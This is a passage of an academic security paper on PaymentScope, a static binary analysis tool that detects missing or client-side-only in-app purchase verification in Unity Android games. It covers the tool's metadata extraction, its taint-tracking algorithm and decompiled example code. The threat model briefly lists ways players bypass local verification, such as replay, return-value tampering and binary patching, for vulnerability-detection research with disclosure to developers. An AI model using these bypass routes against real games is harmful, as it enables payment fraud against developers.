by misplacing the trust of payment verification, e.g., by either

locally verifying the payment transactions or without using

any verification at all, leading to playing without paying

vulnerabilities. This paper presents PAYMENTSCOPE, a static

binary analysis tool to automatically identify vulnerable IAP

implementations in mobile games. Through modeling of its

IAP protocols with the SDK provided APIs using a payment-

aware data flow analysis, PAYMENTSCOPE directly pinpoints

untrusted payment verification vulnerabilities in game

native binaries. We have implemented PAYMENTSCOPE

on top of binary analysis framework Ghidra, and tested

with 39,121 Unity (the most popular game engine) mobile

games, with which PAYMENTSCOPE has identified 8,954

(22.89%) vulnerable games. Among them, 8,233 games do

not verify the validity of payment transactions and 721 games

simply verify the transactions locally. We have disclosed the

identified vulnerabilities to developers of vulnerable games,

and many of them have acknowledged our findings.

1 Introduction

Mobile platforms have become the largest segment of the

computer game industry today. In 2021, mobile games have

generated 79 billion (52%) USD in global revenue, sur-

passed the rest of the game industry combined, including

boxed and downloaded PC games, tablet games, and browser

PC games [18]. There are various ways to monetize a mo-

bile game, such as premium (players have to pay upfront),

freemium (players only pay when needed), subscription (play-

ers pay monthly fees), and in-app advertisement. Increasingly,

freemium, powered by the in-app purchasing (IAP) service

provided by the app stores, has become the dominating moni-

tization way for mobile games [15]. Today, both Google Play

and Apple AppStore have provided IAP APIs for in-game

purchasing of various digital items such as virtual currency,

equipment, extra moves, or removing of the advertisements

for enhanced gaming experience.

However, the APIs provided by Google Pay and Apple App-

Store only handle the payment services for the IAP (e.g., by

communicating with the credit card companies or banks, and

finishing the financial transactions). The game developers still

have to be responsible for the delivery of the purchased items.

To alleviate the developer’s efforts, many SDK providers,

e.g., Unity [16], the leading game engine provider [2], have

provided wrapped APIs on top of Apple’s or Google’s. With

these wrapped APIs, mobile games can also enjoy the portable

benefit of across different platforms such as Android and iOS.

Obviously, any in-game purchasing must be securely de-

signed and implemented. While app stores have secured the

payment transactions, the validation of the transactions is

completely left to the developers. However, an in-game pur-

chasing transaction is a complicated multi-party transaction.

At a high level, it involves at least three parties: (i) mobile

game app, (ii) game server, and (iii) payment provider. In

theory, all these parties should have verified the validity of the

purchasing transaction between each other, since both mobile

games and mobile operating systems could have been com-

promised (e.g., the games could be repackaged or executed in

a virtual environment with apps such as Parallel Space [26]).

Unfortunately, in practice, we have observed that many

game developers have failed to validate the transactions, even

though there is a large body of work (e.g., [40, 44, 48]) that

have pointed out the potential security risks in multi-party

transactions [49]. For instance, we found multiple extremely

popular games (each with more than 100 million installs)

do not verify the validity of the IAP transactions or simply

rely on the client side verification to check whether the

transaction is valid, allowing attackers to completely playing

without paying. Even worse, the SDK providers (e.g., Unity)

have provided such APIs for client side verification, whose

execution cannot be trusted at all. Considering the increased

amount of mobile games integrating with the IAP service, it
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Figure 2: A Typical IAP Protocol in Mobile Games.

developers, and the app store will use this ID to look

up its price.

• Step ❷: When receiving the purchasing request from

the game app, the app store will validate the player’s

identity and pop up a dialog to ask the player to confirm

the payment, and then the app store will communicate

with either the banks or the credit card company to

finish the money transfer. To ensure the integrity of

this financial transaction, the app store will sign it,

with the app-specific private key for Android [13] or

developer-specific privatey key for iOS [11] (developers

have the corresponding public key when they register

their development accounts), and then return the

signature to the game app.

• Step ❸: Once the app store finishes the payment

transaction, the game will receive a payment response

callback, which is either UnityEngine. Purchas-

ing.IStoreListener.ProcessPurchase if the

transaction succeeds, or UnityEngine.Purchasing.

IStoreListener.OnPurchaseFailed if the transac-

tion fails (e.g., insufficient funds, or cancelled by the

user) in Unity games.

• Step ❹: If the transaction succeeds, the game client

typically will send the transaction to the game server to

validate the transaction and distribute the digital items.

• Step ❺: To validate the integrity of the transac-

tion, the game server can either ask the app store

to verify the transaction (e.g., by using REST API

purchases.subscriptions.get [12] for Google

Play), and go to Step ❻, or alternatively, the game server

can verify the transaction by validating the signature of

the transaction using the app-specific public key owned

by the developer, and in this case the server directly

goes to Step ❼.

• Step ❻: The app store validates the transaction

and returns the transaction details (e.g., transaction

timestamp, payment state, item price, expiration date)

to the game server.

Game APK

├── ...
├── AndroidManifest.xml
├── classes.dex
├── assets
│ └── bin
│ └── Data
│ ├── ...
│ └── Managed
│ ├── ...
│ └── Metadata
│ └── global-metadata.dat
└── lib

└── arm64-v8a
├── libil2cpp.so
├── libmain.so
└── libunity.so

· · · · · · · ·[ 39K]

· · · · · · · · · · · ·[7.8M]

· · ·[5.7M]

· · · · · · · · · ·[ 30M]

· · · · · · · · · · ·[6.0K]

· · · · · · · · · ·[ 15M]

Figure 3: The APK Structure of Game Run Race 3D.

• Step ❼: Having verified the transaction by the game

server, the server finally distributes the digital items if

the transaction is valid.

The game binaries developed by Unity. Many mobile games

today are developed using C# and with the Unity engine [3].

There are two ways to run a C# program. One is to compile the

C# code to .NET Common Intermediate Language (CIL) [36],

and then use a virtual machine (VM) to interpret the CIL code

at runtime. The other is to translate the CIL code to C++ code

via tool IL2CPP [14] and then compile the C++ code to native

binaries. Unity has largely moved to the second approach since

it is more efficient.

However, translating CIL code to C++ code is not trivial,

as C# has many features that C++ does not have such as

reflection and garbage collection, and IL2CPP needs to

support those features in C++ and make the native binary

work as CIL code. In particular, IL2CPP will translate not

only the game code, but also C# system libraries and Unity

libraries to C++ code. Each function in C# will be translated

into a corresponding function in C++. Also, IL2CPP will add

additional code for error checks (e.g., detecting NULL point-

ers). While typically symbol names such function names can

be stripped in native binaries, IL2CPP will keep them. This

is because the binary still needs them to provide consistent

features as C#. For instance, it needs the function name and

its address when handling a reflection call, and provides a full

call stack trace (including function names) when handling an

exception. As such, IL2CPP also stores symbol information

in a separate file named global-metadata.dat and packs

it into the game, though game developers might encrypt

or hide this file, to defend against the reverse engineering

attempt. Ultimately, at runtime, the binary will load this file

along with libil2cpp.so (which is generated via IL2CPP

translation) and then use it during game execution.

In Figure 3, we present the file structure of a game APK,

which is an archive file in ZIP format. The sub-file li-

bil2cpp.so is the eventually compiled game binary, which

contains the game logic and the compiled C# libraries code.

We can see that it occupies a large space of a game APK. An-

other sub-file worth mentioning is global-metadata.dat,
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which contains the metadata of the game including the

mapping between the addresses in the binary and the

functions, the classes definitions (e.g., fields), and the strings

that used by the game binary. Unlike debugging symbols

that have source code information, global-metadata.dat

does not include this (that is why we must perform binary

analysis). In addition, while there are multiple so files in the

APK, we only need to focus on libil2cpp.so since this is

what IL2CPP eventually translated.

Ghidra. There are many frameworks that can be used

to perform static binary analysis such as Angr [46], IDA

Pro [27], and Ghidra [5]. Increasingly, Ghidra becomes more

and more popular due to its ease of use, and multi-architecture

(e.g., ARM64, ARM32, x86) support with an intermediate

representation called P-Code [10]. More specifically, P-Code

is a register transfer language, and to generate the P-Code

of a binary, Ghidra will translate each assembly instruction

to one or multiple P-Code instructions. For instance, in

Figure 5, instruction in the second column will be translated

to one or multiple P-Code in the third column. For each

P-Code, it has an opcode (e.g., CALL in the example), one or

more input, and an optional output. Each input or output is

called Varnode. There are two types of Varnode: register,

e.g., (register, 0x4000, 8), and memory location, e.g.,

(ram, 0x02212258, 8). Each Varnode is composed of the

address space (e.g., register or ram), the offset within the

space (e.g., 0x4000), and the size of the Varnode (e.g., 8).

3 Overview

3.1 The Problem, Threat Model, and Scope

The problem. To complete a payment transaction, it is crucial

for mobile games to verify the transactions signed by the app

store to ensure its integrity. As discussed in §2, after receiv-

ing a payment request from a game app, the payment service

provider (e.g., Google Pay) will complete the financial trans-

action transparently, and when it succeeds, the transaction’s

metadata will be signed and returned to the game. Then, the

game service provider will distribute the purchased products

after verifying the transaction from the game server since a

game client cannot be trusted. Any failure or missing such

verification from the game server will lead to playing with-

out paying vulnerability. This paper seeks to identify this

vulnerability, which usually has the following two forms:

• Lack-of-verification. When the game app receives

the payment receipt from the payment provider, it

may simply check the payment receipt (in Step ❸) to

see whether the payment succeeded or not without

validating the integrity of the receipt at all. In other

word, the Step ❹, ❺, ❻ are skipped.

• Local-verification. While the game app can validate

the receipt locally by using the public key of the signer

(by moving Step ⑤ to mobile game and skip Step ❹, ❺,

❻), this validation is fundamentally flawed. Specifically,

there are multiple ways for attackers to subvert such lo-

cal validation, e.g., by replaying an old transaction, or

directly tampering with the return value of the local val-

idation, or removing the validation via binary patching.

Threat model. We assume a threat model in which the game

client is untrusted, and the attacker is a game player who owns

the client and has the incentive of playing without paying.

There are multiple ways to launch the attack (detailed in

§6.3), from the simplest, by using an app-level virtualization

tool [26] such as Parallel Space or using repackaged victim

game from 3rd parities, to the most sophisticated, by rooting

the phone to tamper with anything of attacker’s interests.

Our threat model is realistic for at least three reasons.

First, it is consistent with many other payment security works

(e.g., [39, 44, 49]). In particular, when studying payment se-

curity in traditional mobile apps, Reynaud et al. [44] assume

the attackers can repackage the apps; when inspecting the

validation consistency between the client and the server of

banking apps, WARDROID [39] assumes the client app is

not trusted. Similarly, when analyzing payment security in

the web domain, Wang et al. [49] assume the web clients (i.e.,

the web browsers) can be malicious and they can cheat the

web servers for shopping for free. Second, this threat model

is also consistent with the reality. While a game player does

not have the skills to root the phone, he or she can use the

repackaged games. For instance, we have found several web-

sites (e.g., [1, 8]) host repackaged games. In addition, a game

player can also use app-level virtualization [26] without any

root privilege to full control the game. Third, the assumed

threat is indeed threatening game developers, and many secu-

rity companies actually offer commercial solutions (such as

NHN AppGuard [9]) to defend against this.

Scope and assumptions. While there are a variety of mobile

games available in the mobile platform, we focus exclusively

on the native Android games developed by Unity SDK for

multiple reasons. First, Unity is the most popular game engine

with a 71.94% market share according to our measured re-

sult reported in Figure 1. Second, Unity is not a special case,

and many other game engines (e.g., Unreal Engine, Cocos2d)

have the same issue—namely it allows developers to verify

payment transactions locally. Third, each game engine has its

own specific APIs and runtime environment. Uncovering the

flawed payment verification for all of the games would require

game-engine specific analysis. While we could have also fo-

cused on analyzing Cocos2d or Unreal Engine games, this would

require significant amount of additional engineering effort.

Therefore, we eventually decided to focus on Unity games

for proof-of-concept. Also, when analyzing game binaries

developed with Unity, we assume the game developers will use
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1 class unityInAppPurchase_LS : IStoreListener
2 {
3 ...
4 private string m_LastReceipt; // 0x30
5 public PurchaseProcessingResult ProcessPurchase(
6 PurchaseEventArgs args)
7 {
8 this.m_LastReceipt = args.purchasedProduct.get_receipt()
9 ...

10 }
11 }

1 class PurchaseManager : IStoreListener
2 {
3 public PurchaseProcessingResult ProcessPurchase(
4 PurchaseEventArgs args)
5 {
6 ...
7 StoreReceipt receipt = JsonUtility.FromJson<StoreReceipt>(
8 args.purchasedProduct.get_receipt());
9 GooglePayload gpayload = JsonUtility.FromJson<GooglePayload>(

10 receipt.Payload);
11 httpRequest.AddField("signature", gpayload.signature)
12 ...
13 }
14 ...
15 }

（B）

（C）

1 class IAPManager : IStoreListener
2 {
3 public PurchaseProcessingResult ProcessPurchase(
4 PurchaseEventArgs args)
5 {
6 CrossPlatformValidator validator = new CrossPlatformValidator(
7 GooglePlayTangle.Data(), AppleTangle.Data(), 
8 Application.identifier);
9 try

10 {
11 validator.Validate(args.purchasedProduct.get_receipt());
12 ...
13 }
14 catch (IAPSecurityException)
15 {
16 Debug.Log("Invalid receipt, not unlocking content");
17 }
18 return PurchaseProcessingResult.Complete;
19 }
20 }

（A）

Figure 4: Running Examples of In-game Purchase with De-

compiled or Manually Constructed Code (in C#).

the APIs to develop the game for the common logic such as

logging and network communication. In addition, we assume

there is no encryption or hiding of global-metadata.dat

(which is true for 99.69% of the game we have analyzed).

3.2 Running Examples

To clearly illustrate the problem we aim to solve, we use

three real-world games (the corresponding game names are

removed since the vulnerable games have not been patched at

this time of writing) shown in Figure 4 as running examples.

Note that, the C# code in the figure is manually constructed

from native binaries for clear illustration, and the excerpt of

the corresponding binaries can be found in Figure 5.

At a high level, we can see that game (A) verifies the

payment receipt from payment providers locally with API

validator.Validate (line 11). Note that this API uses the

public key of the payment provider (acquired by Google-

PlayTangle.Data() at line 7) to verify the signature of the

signed receipt by the app store. If the verification succeeds,

the app will then complete the purchasing process (line 12);

otherwise, it will generate a debug log tracking the invalid

receipt (line 16). Since the entire purchasing verification can

be executed in an untrusted game client, it is insecure (and

can be bypassed). Game (B) extracts the receipt (line 7 and

8), adds it into an httpRequest object (line 11), sends the

receipt to the server for the verification, which is considered

to be a correct approach (though we cannot inspect its server

side implementation). Game (C) stores the receipt to field

m_LastReceipt (line 8), which tracks the last receipt,

3.3 Challenges and Insights

In this study, we focus on two vulnerable in-game pur-

chases: lack-of-verification (i.e., no-verification) and local-

verification. Since in both cases it refers to how data is used,

obviously we need to leverage the meanings from the APIs to

infer the semantics of the data use of the receipt as well as its

propagation. For instance, as shown in Figure 4, we can easily

detect the receipt is validated locally if the app uses Valida-

tor.Validate, it is logged if Debug.Log is invoked, it is sent

to the server if it is passed to API UnityWebRequest.Post,

and so on. Therefore, we have to solve at least two challenges:

(i) pinpointing specific APIs in the game binary, and (ii) track-

ing the data flow [41, 45] of the payment-data.

(I) How to pinpoint target APIs in game binaries. APIs are

crucial to infer the meaning of the data use. However, unlike

with source code where we can see the names of variables

and APIs and easily infer the semantics of data-use, for binary

analysis, the input is often just hexadecimal code and data, and

there are no symbol names as they can be stripped. Therefore,

we have to reconstruct the high level abstraction from the

binary code and recognize the specific APIs of our interest.

Interestingly, due to the nature of how Unity binaries

are compiled and executed, it has surprisingly made the

symbol recovery easier. Specifically, the association between

the method name including APIs and the entry address

has actually been recorded into the metadata file (i.e.,

global-metadata.dat), which keeps all the missing

symbols including even class names that are optimized by

the compiler of Unity SDK. Although the metadata file is not

directly readable, we can parse it with tool Il2CppDumper [6]

to extract the information we need. The details of how we

extract the function and classes metadata is presented in §4.

(II) How to identify the payment-data definition, use, and

their propagation. Apparently, we need a payment-aware

data flow analysis to identify the data-definition, propagation,

and data-use of the payment receipt returned by the app store.

While the use of P-Code has made the development of our

analysis easier, we still have to locate the instructions that

define the payment data, the propagations of the data (includ-

ing through JSON object parsing and creation as shown in
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0x02212258 System.String* UnityEngine.Purchasing.Product.get_receipt (UnityEngine.Purchasing.Product* _this, const MethodInfo* method)
0x021cdebc UnityEngine.Purchasing.Security.IPurchaseReceipt.array* UnityEngine.Purchasing.Security.CrossPlatformValidator.Validate

(UnityEngine.Purchasing.Security.CrossPlatformValidator* _this, System.String* unityIAPReceipt, ...)

0x02509f9c System.String* UnityEngine.Purchasing.Product.get_receipt(UnityEngine.Purchasing.Product* _this, const MethodInfo* method)
0x0163cdf4 Il2CppObject* UnityEngine.JsonUtility.FromJson(System.String* json, const MethodInfo_2855* method)
0x025082d4 void UnityEngine.WWWForm.AddField(UnityEngine.WWWForm* _this, System.String* fieldName, System.String* value, ...)

0x01329390 int32_t unityInAppPurchase_LS.ProcessPurchase(unityInAppPurchase_LS* _this, UnityEngine.Purchasing.PurchaseEventArgs* e, ...)
0x013b8cdc System.String* UnityEngine.Purchasing.Product.get_receipt(UnityEngine.Purchasing.Product* _this, const MethodInfo* method)

（B）

（C）

（A）

Address Function Name

Shadow Memory at {1}

0x0130d49c c0f24794 bl 0x02509f9c (register, 0x4000, 8) CALL (ram, 0x02509f9c, 8), (register, 0x40b0, 8), (const, 0x00, 8)

0x0130d4ac 52be0c94 bl 0x0163cdf4 (register, 0x4000, 8) CALL (ram, 0x0163cdf4, 8), (register, 0x4000, 8), (register, 0x4008, 8)

0x0130d4c0 c01240f9 ldr x0, [x22, #0x20] (unique, 0x100004b4, 8) INT_ADD (register, 0x4000, 8), (const, 0x20, 8)

(unique, 0x00000c90, 8) CAST (unique, 0x100004b4, 8)

(register, 0x4000, 8) LOAD (const, 0x01b1, 4), (unique, 0x00000c90, 8)

0x0130d4cc 4abe0c94 bl 0x0163cdf4 (register, 0x4000, 8) CALL (ram, 0x0163cdf4, 8), (register, 0x4000, 8), (register, 0x4008, 8)

0x0130d510 d70e40f9 ldr x23, [x22, #0x18] (unique, 0x100004d4, 8) INT_ADD (register, 0x4000, 8), (const, 0x18, 8)

(unique, 0x00000c90, 8) CAST (unique, 0x100004d4, 8)

(register, 0x40b8, 8) LOAD (const, 0x01b1, 4), (unique, 0x00000c90, 8)

0x0130d538 67eb4794 bl 0x025082d4 --- CALL (ram, 0x025082d4, 8), ..., (register, 0x40b8, 8), (const, 0x00, 8)

Address

0x0132946c 1c3e0294 bl 0x013b8cdc (register, 0x4000, 8) CALL (ram, 0x13b8cdc, 8), (register, 0x4000, 8), (const, 0x00, 8) {1}

0x01329470 601a00f9 str x0, [x19, #0x30] (unique, 0x00000c90, 8) INT_ADD (register, 0x4098, 8), (const, 0x30, 8)

--- STORE (const, 0x01b1, 4), (unique, 0x00000c90, 8), (register, 0x4000, 8) {2}

（C）

（B）

0x00ffa794 bl5e4894 bl 0x02212258 (register, 0x4000, 8) CALL (ram, 0x02212258, 8), (register, 0x4000, 8), (const, 0x00, 8)

0x00ffa7b4 c24d4794 bl 0x021cdebc (register, 0x4000, 8) CALL (ram, 0x021cdebc, 8), (register, 0x4000, 8), ...
（A）

Machine Code Disassemble P-Code Output Opcode P-Code Input

Index Tag Type

(register, 0x4000, 8) 1 •

(register, 0x4098, 8) 0 •

(unique, 0x00000c90, 8) 0

...

Class Tag

• String N/A

• unityInAppPurchase_LS
• ...
• -(0x28) String
• -(0x30) String

0
0
0
0

Shadow Memory at {2}GCT GCT

Index Tag Type

(register, 0x4000, 8) 1 •

(register, 0x4098, 8) 0 •

(unique, 0x00000c90, 8) 1 •

...

Class Tag

• String N/A

• unityInAppPurchase_LS
• ...
• -(0x28) String
• -(0x30) String

0
0
0
1

Figure 5: The Excerpt of the Disassembled Code, the Corresponding P-Code, and the State of Our Shadow Memory.

Figure 4 (B)), identify the corresponding class fields that store

them (e.g., in the last instruction of Figure 5 (C), the payment

data has been stored to a memory address, i.e., (unique,

0x00000c90, 8), and we need to know the definition of this

memory address, which is essentially the class field this.m_-

LastReceipt), and infer the use of them based on APIs.

To identify the payment data definition, we can rely on the

key APIs such as args.purchasedProduct.get_receipt.

While directly identifying the payment data propagation in-

side JSON parsing functions is challenging, we can skip the

detailed analysis inside these functions and instead use the

API summary (an approach that has been widely used in many

other applications such as symbolic execution [46]). To infer

whether a class field (typically organized as an abstract base

address plus an offset) stores the payment data or its prop-

agations, we can design a taint-tracking algorithm for class

field based on the taintedness of return values or arguments

of well-defined APIs. Finally, to infer whether a field belongs

to a particular class, we can use backward slicing [52] to iden-

tify the base address of the class, and then identify the class

types using the argument types of functions extracted from the

metadata. The details of how we perform our payment-aware

data flow analysis is presented in §5.

Also, note that due to the nature of how game binaries are

generated with Unity SDK, we have all the symbols of binary

functions and classes, and we do not face the hard problems as

in traditional binary analysis such as the aliasing. In particular,

since the game binaries are translated from C# to C++ and

there is no global variable in C#. The only data flow is through

the access of fields of classes. For example, in Figure 4 (C),

the field m_LastReceipt of class unityInAppPurchase_LS

has been assigned with the payment receipt at line 8, and the
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data flow should continue from any other instructions that

read this field. Since we have the symbols and their types, we

can pinpoint exactly the class name of each variable in all the

functions. As such, we can simply locate variables that are of

type unityInAppPurchase_LS and continue analyzing from

there to find out which instruction accessed field m_LastRe-

ceipt through a lightweight type-based data flow analysis.

4 Metadata Extraction

Since a game built with Unity contains rich information in

file global-metadata.dat about its function signatures

(types of arguments and return value) and class definitions

(including fields offset and their types) of the final executables

due to the use of IL2CPP, we can leverage this information

to facilitate our payment-aware data flow analysis. In the

following, we describe how we extract such information.

Extracting function metadata. The metadata of a function

includes the starting address of the function, the type

of the return value, the number of arguments, and the

corresponding type for each argument. All of this information

can be retrieved from global-metadata.dat. There is

also a function name associated, and this name reveals

both the original C# Class and function, from which

this function was translated. As mentioned earlier, while

global-metadata.dat cannot be directly read, we can use

tool IL2CPPDumper [6] parse it. Since the function address

is static, we store the extracted functions and their types in

a global function table GFT , indexed by the address.

With the extracted function argument type, it makes our in-

terprocedure analysis much easier. More specifically, assume

we have identified a class type of our interest, then we can

directly scan our GFT to locate all of the functions that have

an argument referencing this class, and these functions are

all possible callees. Meanwhile, we also scan all functions to

identify each possible caller that has invoked these callees.

The instructions of both identified callers and callees will be

iterated again to identify whether there is any data-use of the

payment data (and its propagations), as well as propagation

of the payment data to any other class objects if there are any.

Some examples of the extracted functions and their types

can be found in the top half of Figure 5. For instance, in

running example (B), the function at address 0x02509f9c is

UnityEngine.Purchasing.Product.get_receipt. From

this function name, we can easily identify that this function

was translated from the C# function get_receipt of C#

Class UnityEngine.Purchasing.Product and the type of

its return value is System.String.

Extracting class metadata. Unlike function’s metadata

where we can extract the function’s address, class’ metadata

is just the abstract definition of the class, and there is no con-

crete address associated. What we can extract only includes

the class name, the field offset, and the field types. We use the

class name to index them, and store the extracted class types

in a global class table GCT , which will be updated to record

the taintedness whenever a class field stores tainted data.

5 Payment-Aware Data Flow Analysis

In order to identify the vulnerable payment verification, we

need to first identify where the payment data is defined (§5.1),

how it propagates (§5.2), and whether the propagated data

is sent to the server (for server-side verification), or used by

local-verification APIs, or no-verification at all (§5.3). In this

section, we present the details of our lightweight payment-

aware data flow analysis.

5.1 Identifying Payment-Data Definition

Since we need to track the data flow of the payment receipt,

our taint sources should be the APIs that receive this data.

After systematically examining the documentation, we found

that UnityEngine.Purchasing.Product.get_receipt

is the only API that can be used to access the receipt. As

such, we focus on this API exclusively as the taint source.

More specifically, we first find the address of this function

by checking the extracted metadata in the global function

table. For example, in Figure 5 (A), by looking up the

corresponding GFT , we find its address is 0x02212258.

Then we locate the callers of this function by traversing

the call graph of the game binary. There might be several

callers and each of them will be located. At each call site, the

variable assigned with the return value (i.e., receipt) of this

function call is the source of the payment-data.

5.2 Tracking Payment-Data Propagation

A receipt can be propagated to other objects, e.g., via JSON

APIs; can be assigned to local variables, e.g., to variable re-

ceipt and gpayload in running example (B) of function

ProcessPurchase; or can be assigned to a class field such as

m_LastReceipt in class unityInAppPurchase_LS in run-

ning example (C). We therefore have to systematically iden-

tify these propagations. The algorithm of how we perform

this analysis is presented in Algorithm 1.

At a high level, starting from the caller of payment-data

definition function (line 3-5 of Algorithm 1), we iterate

each instruction to handle propagations (line 9-24), resolve

object base address, and infer field taintedness (line 25-

39). We repeat this process by iterating all of the func-

tions in GFT (line 7-8, and line 40-55), until reaching a

fixed point where the taintedness of the classes and their

fields will not be updated any more (line 6). For exam-

ple, when analyzing the instruction at 0x00ffa794 in Fig-

ure 5 (A), we know it is a call instruction, and by retriev-

ing its callee with address 0x02212258, we know it is Uni-

tyEngine.Purchasing.Product.get_receipt. Then our
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analysis will get started at line 3. Based on the API summary,

we know its return value is the payment receipt data, and

we therefore perform the data propagation by adding a taint

tag (line 4), basically just a single bit, to the return value, i.e.,

(register, 0x4000, 8), of this function in the correspond-

ing shadow memory (line 5), and then perform the analysis

further. In the following, we describe the key procedures of

our analysis.

Algorithm 1 Payment-aware Data Flow Analysis (PDFA)

1: Input: GCT : global class table; GFT : global function table; SM: shadow memory
2: procedure PDFA
3: for ( f , inst) in GetCaller(Purchasing.Product.get_receipt) do

4: UPDATESHADOWMEMORY(SM, TargetOperand(inst))
5: TAINTPROPAGATION( f , inst, TargetOperand(inst))

6: while HASUPDATES(GCT ) do

7: for func in GFT do

8: PROCESSFUNCTIONWITHTAINTEDCLASSES(func)

9: procedure TAINTPROPAGATION( f unc, inst,v0)
10: for (inst1)← FindDataUse( f unc, inst,v0) do

11: if opcode(inst1) is Data Move then

12: v1← TargetOperand(inst1)
13: UPDATESHADOWMEMORY(SM, v1)
14: (v2, o f f set2)← FIELDBASEADDRESSRESOLUTION( f unc, v1)
15: cls1← BASECLASSRESOLUTION( f unc, v2)
16: TAINTGCT(GCT , cls1, o f f set2)
17: TAINTPROPAGATION( f unc, inst1,v1)
18: else if opcode(inst1) is CALL then

19: f0← GetCallee(inst1); index← GetParameterIndex(inst1, v0)
20: if isSystemAPI( f0) then

21: TAINTWITHAPISUMMARY( f0, inst1, TargetOperand(inst1))
22: else

23: for (inst2,v2)← GetInstructUseParameter( f0, index) do

24: TAINTPROPAGATION( f0, inst2,v2)

25: procedure BASECLASSRESOLUTION( f unc,v0)
26: vde f ← FindDataDef( f unc, v0)
27: if isParameter(vde f ) then

28: index← GetParameterIndex(vde f )
29: return GETFUNCPARAMETERTYPE(GFT , f unc, index)
30: else if opcode(vde f ) is CALL then

31: f0← GetCallee(vde f )
32: return GETFUNCRETURNTYPE(GFT , f0)
33: else if opcode(vde f ) is LOAD then

34: vx ← SourceOperand(vde f )
35: (v1, o f f set1)← FIELDBASEADDRESSRESOLUTION( f unc, vx)
36: cls1← BASECLASSRESOLUTION( f unc, v1)
37: return GETCLASSFIELDTYPE(GCT , cls1, o f f set1)
38: else if opcode(vde f ) is COPY or CAST then

39: return BASECLASSRESOLUTION( f unc, SourceOperand(vde f ))

40: procedure PROCESSFUNCTIONWITHTAINTEDCLASSES( f unc)
41: for (cls0, o f f set) in GETTAINTEDFIELDS(GCT ) do

42: indexes← FindObjectIndexinFunc( f unc, cls0)
43: if indexes! = /0 then

44: for indexi in indexes do

45: for ( f , inst) in GetCaller( f unc) do

46: vi ← GetOperand(inst, indexi)
47: for insti in FINDRELATEDINSTRUCTOF( f , vi) do

48: if ISLOADING(insti, vi, o f f set) then

49: vt ← TargetOperand(insti)
50: TAINTPROPAGATION( fCaller, insti,vt )

51: for vi ← GetParameter( f unc, indexi) do

52: for insti in FINDRELATEDINSTRUCTOF( f unc, vi) do

53: if ISLOADING(insti, vi, o f f set) then

54: vt ← TargetOperand(insti)
55: TAINTPROPAGATION( f unc, insti,vt )

Handling taint propagation. Our taint needs to be prop-

agated for data movement instructions (e.g., LOAD, STORE,

INT_ADD), and we update the shadow memory of the reg-

ister and object memory accordingly based on the tainted-

ness of data source (line 13). However, when encounter-

ing a function call (line 18-24), we will check whether this

function is a system or Unity provided API (line 20). If so,

we will skip the analysis of this function, and instead di-

rectly apply the propagation rule based on the API summary

(line 21). Otherwise, we will process this callee function

as usual to analyze each instruction that access the tainted

parameter for taint propagation (line 23-24). For instance,

for the instruction at 0x0130d4ac in Figure 5 (B), by check-

ing the corresponding GFT , we find this function is Uni-

tyEngine.JsonUtility.FromJson. Based on the API sum-

mary, the propagation rule is to add a taint tag to the return

value if the first parameter is tainted. Therefore, we add a taint

tag to (register, 0x4000, 8).

Tracking taintedness for classes. When encountering an in-

struction that propagates taint to a class field, we also need to

know the specific class to which the destination field belongs.

However, at the instruction level, we only observe memory

addresses (due to the nature of IL2CPP), which is always in

the form of a base address plus an offset, and we have to

therefore first identify its base address, then identify the class

of the base address. With the identified class information and

the offset we can identify the field in GCT , then we taint the

corresponding field and track the taintedness of the classes.

As such, it eventually becomes a three-step process:

• Step-I: Identifying the base address of a field. When

a tainted value is stored to a memory address, e.g.,

(unique, 0x00000c90, 8) in Figure 5 (C), we need

to identify how this address is generated (or defined).

To this end, we perform backward slicing [52] starting

from the current instruction to find out its definition.

In this example, we find (unique, 0x00000c90, 8)

comes from (register, 0x4098, 8) with an offset

0x30, and (register, 0x4098, 8) comes from the

first parameter of the current function. With backward

slicing, we resolve the base address of field address

(unique, 0x00000c90, 8) as (register, 0x4098,

8). This procedure is referred as FIELDBASEADDRESS-

RESOLUTION. Note that P-Code has made dependence

analysis such as slicing easier by simply inspecting

the data-def and use chain. For instance, the Ghidra

API Varnode.getDef can be used to find the P-Code

instruction that defines a particular variable.

• Step-II: Resolving the corresponding class of the base

address. Having recognized the base address of the tar-

get field, we need to identify its class types, e.g., to find

the class definition of (register, 0x4098, 8). Fortu-

nately, this is also an easy process given the metadata

we have collected. In particular, a base address accessed

in a function usually comes from three sources: a) the

address of other class object passed from the function

parameter, b) a return value of a function call, and c) a

field from another class. Therefore, we resolve the class

information based on its definition. This procedure is
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referred as BASECLASSRESOLUTION (line 25-39). In

this procedure, we first locate the definition of the base

address (line 26), if it is from either a) or b) (line 27, 30),

we directly get its class by querying the GFT (line 29,

32) since GFT has the class type for the function param-

eters and return value. If the base address is from c) (line

33), we apply FIELDBASEADDRESSRESOLUTION to

find the base address of this new field (line 35) and apply

BASECLASSRESOLUTION to find the class of the new

field (line 36), then we get the class of the base address by

querying GCT (line 37). Finally, if it is copied from an-

other variable, we will resolve it recursively (line 38-39).

• Step-III: Tainting the class field. With the identified

class of the destination field, we then taint the destination

memory address in the shadow memory, and also taint

the corresponding field of the identified class in the

GCT (line 16). Note that the purpose of having GCT

is to track the tainted classes (and its fields), and iterate

all of the functions that access any of the tainted classes.

Also, we do not taint the single primitive type (e.g., the

first String type entry in the GCT at shadow memory

{1} in Figure 5, and we mark it N/A), as primitive type

will be used in many other fields, and instead we taint

the class and the offset at that particular class (as shown

in shadow memory {2}, our algorithm has tainted the

field at offset 0x30 of class unityInAppPurchase_LS.

Repeating the propagation analysis. After identifying the

tainted classes, we next iterate each instruction of the func-

tions that have accessed these classes (in both the caller and

the function itself), to identify whether there are any other

class fields to which the tainted data can be propagated. If so,

we add these classes into our tainted class as well. We call this

process PROCESSFUNCTIONWITHTAINTEDCLASS (line 40-

55). In particular, for each function in GFT (line 7), we iterate

on the tainted class-field in GCT (line 41), to find which func-

tions used the class (line 42-43). Then we a) iterate on the

caller of the function call (line 45) to find out who read the

class-field (line 46-48), and then we perform taint propagation

from that point (line 50); b) iterate on the function itself (line

51) to perform the same actions (line 52-55) in our algorithm.

5.3 Vulnerability Detection

With the identified tainted classes and their corresponding

tainted fields, we then iterate all of the functions again, to

identify whether the known taint sinks have accessed any

tainted fields. At a high level, we have two types of known

taint sinks: (1) the APIs that send out data (e.g., flowing into

network related APIs) and these APIs include HTTP/HTTPS

and Socket, and (2) payment local verification API (e.g.,

UnityEngine.Purchasing.Security.CrossPlatformVa-

lidator.Validate). If any of these taint sinks have

accessed the payment (and its propagation), we use the

following security policies to identify the vulnerabilities.

• Identifying local-verification vulnerability: During

the iteration of each function, if we notice the tainted

data (by querying the corresponding class field) is used

by Unity API CrossPlatformValidator.Validate,

and also there is no program path that also sends

